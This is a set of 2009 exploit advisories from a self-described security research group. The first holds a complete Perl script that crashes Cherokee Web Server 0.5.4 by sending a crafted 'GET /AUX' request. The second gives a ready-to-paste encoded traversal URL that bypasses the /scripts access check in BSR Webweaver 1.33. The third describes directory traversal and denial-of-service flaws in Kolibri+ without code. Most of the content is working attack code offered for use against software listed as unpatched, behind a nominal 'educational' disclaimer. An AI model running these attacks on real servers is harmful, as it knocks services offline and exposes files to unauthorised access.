Cherokee Web Server 0.5.4 Denial Of Service

#######################################################
#
# Name : Cherokee Web Server 0.5.4 Denial Of Service
# Author: Usman Saeed
# Company: Xc0re Security Research Group
# Website:  Xc0re.net
# DATE: 25/10/09
# Tested on Windows !
#######################################################

Disclaimer: [This code is for Educational Purposes , I would Not be responsible for any misuse of this code]

[*] Download Page : http://www.cherokee-project.com/download/windows/

[*] Attack type : Remote

[*] Patch Status : Unpatched

[*] Description : By sending a crafted GET request [GET /AUX HTTP/1.1] to the server , the server crashes !

[*] Exploitation :

#!/usr/bin/perl
# Cherokee Web Server 0.5.4 Denial Of Service
# Disclaimer:
# [This code is for Educational Purposes , I would Not be responsible for any misuse of this code]
# Author: Usman Saeed
# Company: Xc0re Security Research Group
# Website: http://www.xc0re.net
# DATE: [25/10/09]

$host = $ARGV[0];
$PORT = $ARGV[1];

$packet = “AUX”;

$stuff = “GET /”.$packet.” HTTP/1.1\r\n” .
“User-Agent:Bitch/1.0 (Windows NT 5.1; U; en)\r\n” .
“Host:127.0.0.1\r\n”.
“Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n”.
“Accept-Language: en-US,en;q=0.9\r\n”.
“Accept-Charset: iso-8859-1,*,utf-8\r\n”.
“Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\n\r\n”;

use IO::Socket::INET;
if (! defined $ARGV[0])
{
print “+========================================================+\n”;
print “+ Program [Cherokee Web Server 0.5.4 Denial Of Service] +\n”;
print “+ Author [Usman Saeed] +\n”;
print “+ Company [Xc0re Security Research Group] +\n”;
print “+ DATE: [25/10/09] +\n”;
print “+ Usage :perl sploit.pl webserversip wbsvrport +\n”;
print “+ Disclaimer: [This code is for Educational Purposes , +\n";
print "+ I would Not be responsible for any misuse of this code]+\n”;
print “+========================================================+\n”;

exit;
}

$sock = IO::Socket::INET->new( Proto => “tcp”,PeerAddr => $host , PeerPort => $PORT) || die “Cant connect to $host!”;
print “+========================================================+\n”;
print “+ Program [Cherokee Web Server 0.5.4 Denial Of Service] +\n”;
print “+ Author [Usman Saeed] +\n”;
print “+ Company [Xc0re Security Research Group] +\n”;
print “+ DATE: [25/10/09] +\n”;
print “+ Usage :perl sploit.pl webserversip wbsvrport +\n”;
print “+ Disclaimer: [This code is for Educational Purposes , +\n";
print "+ I would Not be responsible for any misuse of this code]+\n”;
print “+========================================================+\n”;

print “\n”;

print “[*] Initializing\n”;

sleep(2);

print “[*] Sendin DOS Packet \n”;

send ($sock , $stuff , 0);
print “[*] Crashed \n”;
$res = recv($sock,$response,1024,0);
print $response;

exit;

BSR Webweaver 1.33 /script security Bypass vulnerability

BSR Webweaver 1.33

Author : Usman Saeed , Exploit @ Xc0re Security Research Group.

[*] Date: 15/09/09

[*] http://www.brswebweaver.com/downloads.html

[*] Attack type : Remote

[*] Patch Status : Unpatched

[*] Description : In ISAPI/CGI path is [%installdirectory%/scripts] and through HTTP the alias is [http://[host]/scripts] ,The access security check is that if the attacker tries to access /scripts a 404 Error response occurs ! Now to bypass and check the directory listing [That is if Directory Browsing is allowed in the server Configuration !] just copy and paste the exploit url !.
This is the reason this exploit is not called a Directory Listing Exploit !

[*] Exploitation :

[+] http://[host]/scripts/%bg%ae%bg%ae/.exe

Kolibri+ Webserver 2 Multiple Vulnerabilities

Kolibri+ Webserver 2 suffers from multiple vulnerabilities namely Directory Traversal &  Denial OF Service. Vulnerability was reported on 6th of September 2009 by Xc0re Security Research Group.

http://xc0re.net/index.php?p=1_19_Kolibri+-Webserver-2-multiple-vulnerabilities

An attacker can easily crash the server , or send a crafted http request to escape the root directory and view any file , even outside the root directory.